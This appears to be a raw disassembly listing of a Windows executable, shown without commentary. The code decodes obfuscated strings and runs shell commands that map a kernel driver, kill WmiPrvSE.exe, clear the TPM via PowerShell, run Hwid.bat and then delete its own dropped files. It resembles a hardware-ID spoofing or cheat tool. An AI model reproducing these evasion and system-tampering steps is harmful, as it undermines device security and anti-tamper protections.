paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb8
jl 0x140045f50
cmp r8d, 0xbd
jge 0x140046082
movsxd rax, r8d
lea r9, [rbp + 0x4f0]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xbd
jl 0x140046050
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x4f0]
call fcn.140042330
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400460bd
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400460e5
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], reloc.WS2_32.dll_recv
movaps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rsp + 0x60], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x270]
call fcn.14003fef0
nop
lea rcx, [rbp + 0x270]
cmp qword [rbp + 0x288], 7
cmova rcx, qword [rbp + 0x270]
call fcn.1400aa7b0
test eax, eax
jne 0x140046f4f
lea rcx, [rbp + 0x270]
call fcn.140047ff0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, Ordinal_27
lea rdx, str.map.exe__map_volumeid.sys
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400461be
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400461b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e41
call fcn.1400aa818
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400461e6
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14004620e
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140046236
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, Ordinal_32
lea rdx, str.taskkill__f__im_WmiPrvSE.exe
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400462ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400462a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e48
call fcn.1400aa818
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400462d3
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400462fb
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140046323
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14004634b
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140046373
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14004639b
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400463c3
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, Ordinal_32
lea rdx, str.Powershell__command_Clear_Tpm
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov r8, qword [rsp + 0x78]
cmp r8, 7
jbe 0x140046410
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.1400478b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r15
mov qword [rbp + 0x3f8], r15
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.del_volumeid.sys
lea rcx, [rbp + 0x3e0]
call fcn.14003fdc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x410], r15
mov qword [rbp + 0x418], r15
mov r8d, listen
lea rdx, str.del_map.exe
lea rcx, [rbp + 0x400]
call fcn.14003fdc0
nop
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14004649c
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400464c4
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400464ec
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140046514
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rcx, [rbp + 0x370]
cmp qword [rbp + 0x388], 7
cmova rcx, qword [rbp + 0x370]
call fcn.1400aa7b0
test eax, eax
jne 0x140046f39
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rbp + 0x2f5], 0
je 0x1400466af
mov r8d, r15d
cmp r13d, 2
jl 0x14004666d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x2dc]
mov edx, dword [rbp + 0x670]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140046580
cmp r8d, 0x1e
jge 0x1400466af
movsxd rax, r8d
lea r9, [rbp + 0x2d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140046680
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [rbp + 0x2b1], 0
je 0x14004681f
mov r8d, r15d
cmp r13d, 2
jl 0x1400467dd
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x294]
mov edx, dword [rbp + 0x670]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400466f0
cmp r8d, 0x22
jge 0x14004681f
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400467f0
lea rcx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x1401283b4], 0
mov r8, qword [rbp + 0x418]
cmp r8, 7
jbe 0x14004685f
mov rdx, qword [rbp + 0x400]
lea rcx, [rbp + 0x400]
call fcn.1400478b0
nop
mov r8, qword [rbp + 0x3f8]
cmp r8, 7
jbe 0x140046880
mov rdx, qword [rbp + 0x3e0]
lea rcx, [rbp + 0x3e0]
call fcn.1400478b0
nop
lea rcx, [rbp + 0x348]
call fcn.140047ff0
nop
mov r8, qword [rbp + 0x310]
cmp r8, 0xf
jbe 0x1400468ae
mov rdx, qword [rbp + 0x2f8]
lea rcx, [rbp + 0x2f8]
call fcn.140047870
nop
lea rcx, [rbp + 0x370]
call fcn.140047ff0
cmp byte [0x1401283b5], 0
je 0x140046c61
movups xmm0, xmmword [str.YFGDF_f]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [0x1400b5c90]
movups xmmword [rbp + 0x2a0], xmm1
mov eax, dword [0x1400b5ca0]
mov dword [rbp + 0x2b0], eax
movups xmm0, xmmword [str.r_bocXSWNIgtJW_n7D]
movups xmmword [rbp + 0x2b8], xmm0
mov eax, dword [0x1400b5cb8]
mov dword [rbp + 0x2c8], eax
cmp byte [0x1400b5cbb], 0
je 0x140046a6f
mov r8d, r15d
cmp r13d, 2
jl 0x140046a2d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x2bc]
mov edx, dword [rbp + 0x670]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140046940
cmp r8d, 0x14
jge 0x140046a6f
movsxd rax, r8d
lea r9, [rbp + 0x2b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140046a40
mov r8d, r15d
cmp r13d, 2
jl 0x140046b8d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x294]
mov edx, dword [rbp + 0x670]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140046aa0
cmp r8d, 0x24
jge 0x140046bcf
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140046ba0
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x290]
call fcn.140042330
lea rax, str.C:Windows
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 0xa
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rsp + 0x60], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x270]
call fcn.14003fef0
nop
lea rcx, [rbp + 0x270]
cmp qword [rbp + 0x288], 7
cmova rcx, qword [rbp + 0x270]
call fcn.1400aa7b0
test eax, eax
jne 0x140046f0d
lea rcx, [rbp + 0x270]
call fcn.140047ff0
lea rcx, str.Hwid.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x1401283b5], 0
call fcn.140009e30
jmp 0x140046c6e
mov r12d, 1
cmp dword [0x1401283e4], 2
jne 0x140046cc9
mov dword [rbp - 0x68], 0x42f00000
mov dword [rbp - 0x64], 0x42dc0000
lea rcx, [rbp - 0x68]
call fcn.140016fd0
call fcn.140006c80
mov dword [rbp + 0xc0], 0x43e60000
mov dword [rbp + 0xc4], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0xc0]
lea rdx, [0x1400afb14]
lea rcx, str.https:__discord.gg_EkynyXvWMk
call fcn.1400367e0
call fcn.140009e30
mov ecx, r12d
call fcn.140012eb0
mov ebx, dword [rbp - 0x7c]
mov rsi, qword [rbp + 0xc8]
jmp 0x140046ce3
mov r12d, 1
call fcn.140009400
cmp byte [0x1401283b3], 0
je 0x140046cfd
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140046f70
call fcn.140009ac0
mov edx, 0xffffffec
mov r8d, 0x80088
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.140013660
xorps xmm0, xmm0
movups xmmword [rbp + 0x688], xmm0
mov rcx, qword [0x140128398]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401283a8]
mov edx, r12d
call qword [rax + 0x108]
mov rcx, qword [0x140128398]
mov rax, qword [rcx]
lea r8, [rbp + 0x688]
mov rdx, qword [0x1401283a8]
call qword [rax + 0x190]
call fcn.14000b330
mov rcx, rax
call fcn.140031960
mov rcx, qword [0x1401283a0]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r12d
call qword [rax + 0x40]
jmp 0x140042d10
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x670]
lea rcx, [rbp - 0x80]
call fcn.1400420b0
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x140046dd1
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor dl, 0x3b
mov byte [rax + 0xa], dl
mov rdx, rax
mov rcx, r8
call fcn.14003fa60
mov rcx, rax
lea rdx, [0x140128738]
call fcn.14003fa40
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [0x1401283b0], 0
call fcn.1400325d0
call fcn.140032cc0
xor ecx, ecx
call fcn.140009380
call fcn.140042210
mov rcx, rsi
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x820]
xor rcx, rsp
call fcn.1400aaaf0
lea r11, [rsp + 0x9d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x270]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.140047d40
nop
lea r8, [rbp + 0x2f8]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.140047d40
nop
lea r8, [rbp + 0x370]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.140047d40
nop
lea r8, [rbp + 0x270]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.140047d40
int3